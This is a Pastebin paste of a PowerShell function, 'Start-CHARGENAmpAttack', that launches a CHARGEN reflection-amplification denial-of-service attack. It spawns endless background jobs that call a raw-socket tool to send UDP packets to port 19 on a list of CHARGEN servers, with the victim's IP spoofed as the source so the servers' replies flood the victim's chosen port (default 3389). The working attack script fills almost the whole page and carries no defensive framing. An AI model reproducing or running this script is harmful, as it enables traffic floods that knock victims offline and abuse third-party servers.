kjacobsen

Start-CHARGENAmpAttack

May 28th, 2014
1,251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Start-CHARGENAmpAttack {
  2. [CMDLetBinding()]
  3. param (
  4.     [Parameter(mandatory=$true)] [String] $VictimIPAddress,
  5.     [Parameter(mandatory=$true)] [String] $MyIPAddress,
  6.     [Parameter(mandatory=$true, valuefrompipeline=$true)] [String] $CHARGENServerIP,
  7.     [Parameter(mandatory=$true)] [String] $RawSocketLocation,
  8.     [int] $VictimPort = 3389,
  9.     [int] $NumberOfMessagesToSend = 10,
  10.     [int] $SleepBetweenOutboundMessages = 10
  11. )
  12.  
  13. Process {
  14.     Write-Verbose "Starting attack $CharGenServerIP to victim $VictimIPAddress"
  15.  
  16.     Start-Job -Name "CharGen-$CharGenServerIP-to-$VictimIPAddress" -ScriptBlock {
  17.         # change to the directory containing the rawsocketudp.exe
  18.         set-location $args[0]
  19.        
  20.         # whilst this job is running
  21.         while ($true) {
  22.             # run the rawsocketudp.exe, with the appropriate argumemts.
  23.             .\RawSocketUDP.exe -as $args[1] -ad $args[2] -ps $args[3] -pd 19 -b $args[4] -n $args[5]
  24.             # sleep for specified period
  25.             Start-Sleep -Seconds $args[6]
  26.         }        
  27.     } -ArgumentList @($RawSocketLocation, $VictimIPAddress, $CHARGENServerIP,
  28.                            $VictimPort, $MyIPAddress, $NumberOfMessagesToSend, $SleepBetweenOutboundMessages)
  29.    
  30. }
  31.  
  32. }
  33.  
  34. # Aperturescience.su
Advertisement
Add Comment
Please, Sign In to add comment